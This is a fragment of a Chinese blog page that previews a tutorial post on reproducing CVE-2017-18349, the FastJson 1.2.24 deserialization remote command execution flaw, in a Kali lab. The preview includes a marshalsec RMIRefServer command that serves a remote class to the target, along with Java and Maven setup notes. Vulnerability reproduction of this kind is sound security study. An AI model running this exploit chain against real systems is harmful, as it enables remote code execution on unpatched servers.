- 博客(2)
- 收藏
- 关注
RSS订阅原创 kali下java任意版本安装、切换；maven配置；CVE-2017-18349（FastJson1.2.24反序列化导致任意命令执行漏洞）复现，从环境配置到复现保姆级过程
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.1.160:8888/#TouchFile”，注意引号必须是英文。装好以后明显多了一个target，并进入此目录执行以下命令便可开启rmi服务或ldap服务线程加载.class文件，具体工具使用可上github查看作者说明。接下来安装maven，通过命令直接安装，简单很多，因为Java默认使用的是系统版本，接下来将切换。
2023-09-17 01:56:51
953
3
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人